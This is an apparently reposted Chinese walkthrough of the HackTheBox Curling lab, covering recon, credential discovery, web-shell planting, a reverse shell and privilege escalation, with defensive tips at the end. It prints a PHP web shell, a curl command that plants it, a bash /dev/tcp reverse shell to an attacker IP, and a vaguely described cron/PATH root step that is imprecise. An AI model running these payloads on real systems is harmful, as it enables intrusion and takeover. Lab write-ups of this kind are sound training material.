HacktheBox之Curling靶机
字数 1638 2025-08-12 12:08:15

HackTheBox Curling 靶机渗透测试教学文档

信息收集阶段

1. 初始扫描

  • 使用nmap进行端口扫描,发现目标主机开放了SSH和Web服务
  • 典型命令:nmap -sV -sC -oA initial_scan <target_ip>

2. Web服务枚举

  • 访问Web服务发现一个人名(可能是用户名)
  • 使用目录扫描工具(如dirb、gobuster)发现/administrator目录
    • 命令示例:gobuster dir -u http://<target_ip> -w /path/to/wordlist.txt

3. 源码分析

  • 查看页面源码发现secret.txt文件
  • 访问该文件获取base64编码的字符串
  • 解码base64字符串(可能是密码)
    • 命令:echo "base64_string" | base64 -d

4. 后台登录

  • 使用发现的人名和base64解码后的字符串尝试登录/administrator页面
  • 成功登录后发现可以访问Templates目录中的源码

漏洞利用阶段

1. Web Shell上传

  • 在后台找到可以编辑index.php文件的功能
  • 修改源码写入Web Shell
    • 典型PHP Web Shell:<?php system($_GET['cmd']); ?>
  • 或者利用curl命令写入Web Shell
    • 命令示例:curl -X POST -d "param=<?php system($_GET['cmd']); ?>" http://<target_ip>/path/to/vulnerable/endpoint

2. 初始访问

  • 通过Web Shell执行命令获取反向Shell
    • 使用nc或bash创建反向连接
    • 示例:bash -c 'bash -i >& /dev/tcp/<your_ip>/4444 0>&1'

权限提升(floris用户)

1. 密码文件发现

  • /home/floris目录中发现密码备份文件
  • 文件可能是十六进制格式

2. 密码文件解码

  • 将文件复制到/tmp目录
  • 使用xxd命令还原文件内容
    • 命令:xxd -r password_backup.hex > password.txt
  • 查看解码后的文件获取floris用户的密码

3. 切换用户

  • 使用获得的密码切换到floris用户
    • 命令:su floris

权限提升(root用户)

1. 进程监控

  • 下载并使用pspy64监控目标主机的进程
    • 命令:wget http://<your_ip>/pspy64 -O /tmp/pspy64 && chmod +x /tmp/pspy64 && /tmp/pspy64
  • 发现目标主机定期运行某些命令或cron作业

2. Cron作业利用

  • 发现系统正在运行crontab相关的命令
  • 复制crontab程序到可写目录
    • 命令:cp /usr/bin/crontab /tmp/evil_crontab
  • 编辑恶意crontab程序,包含提权代码

3. 设置环境变量

  • 创建恶意的input文件,指向攻击者控制的地址
  • 设置PATH环境变量优先查找/tmp目录
    • 命令:export PATH=/tmp:$PATH

4. 获取root权限

  • 等待cron作业执行
  • 恶意crontab程序被执行后获取root权限

关键要点总结

  1. 信息收集要彻底:特别是源码分析和隐藏文件的发现
  2. 凭证重用:发现的用户名和密码可能在多个服务中有效
  3. 文件格式识别:注意不同编码格式的文件(base64、十六进制等)
  4. 定时任务利用:监控系统进程是发现提权路径的重要手段
  5. 环境变量劫持:通过PATH环境变量操纵是常见的提权技术

防御建议

  1. 避免在源码中存储敏感信息
  2. 限制后台管理界面的文件编辑功能
  3. 使用强密码并避免密码重用
  4. 定期检查cron作业和系统进程
  5. 限制关键目录的写权限(如/tmp)
HackTheBox Curling 靶机渗透测试教学文档 信息收集阶段 1. 初始扫描 使用nmap进行端口扫描,发现目标主机开放了SSH和Web服务 典型命令: nmap -sV -sC -oA initial_scan <target_ip> 2. Web服务枚举 访问Web服务发现一个人名(可能是用户名) 使用目录扫描工具(如dirb、gobuster)发现 /administrator 目录 命令示例: gobuster dir -u http://<target_ip> -w /path/to/wordlist.txt 3. 源码分析 查看页面源码发现 secret.txt 文件 访问该文件获取base64编码的字符串 解码base64字符串(可能是密码) 命令: echo "base64_string" | base64 -d 4. 后台登录 使用发现的人名和base64解码后的字符串尝试登录 /administrator 页面 成功登录后发现可以访问Templates目录中的源码 漏洞利用阶段 1. Web Shell上传 在后台找到可以编辑 index.php 文件的功能 修改源码写入Web Shell 典型PHP Web Shell: <?php system($_GET['cmd']); ?> 或者利用curl命令写入Web Shell 命令示例: curl -X POST -d "param=<?php system($_GET['cmd']); ?>" http://<target_ip>/path/to/vulnerable/endpoint 2. 初始访问 通过Web Shell执行命令获取反向Shell 使用nc或bash创建反向连接 示例: bash -c 'bash -i >& /dev/tcp/<your_ip>/4444 0>&1' 权限提升(floris用户) 1. 密码文件发现 在 /home/floris 目录中发现密码备份文件 文件可能是十六进制格式 2. 密码文件解码 将文件复制到 /tmp 目录 使用 xxd 命令还原文件内容 命令: xxd -r password_backup.hex > password.txt 查看解码后的文件获取floris用户的密码 3. 切换用户 使用获得的密码切换到floris用户 命令: su floris 权限提升(root用户) 1. 进程监控 下载并使用 pspy64 监控目标主机的进程 命令: wget http://<your_ip>/pspy64 -O /tmp/pspy64 && chmod +x /tmp/pspy64 && /tmp/pspy64 发现目标主机定期运行某些命令或cron作业 2. Cron作业利用 发现系统正在运行crontab相关的命令 复制crontab程序到可写目录 命令: cp /usr/bin/crontab /tmp/evil_crontab 编辑恶意crontab程序,包含提权代码 3. 设置环境变量 创建恶意的input文件,指向攻击者控制的地址 设置PATH环境变量优先查找/tmp目录 命令: export PATH=/tmp:$PATH 4. 获取root权限 等待cron作业执行 恶意crontab程序被执行后获取root权限 关键要点总结 信息收集要彻底 :特别是源码分析和隐藏文件的发现 凭证重用 :发现的用户名和密码可能在多个服务中有效 文件格式识别 :注意不同编码格式的文件(base64、十六进制等) 定时任务利用 :监控系统进程是发现提权路径的重要手段 环境变量劫持 :通过PATH环境变量操纵是常见的提权技术 防御建议 避免在源码中存储敏感信息 限制后台管理界面的文件编辑功能 使用强密码并避免密码重用 定期检查cron作业和系统进程 限制关键目录的写权限(如/tmp)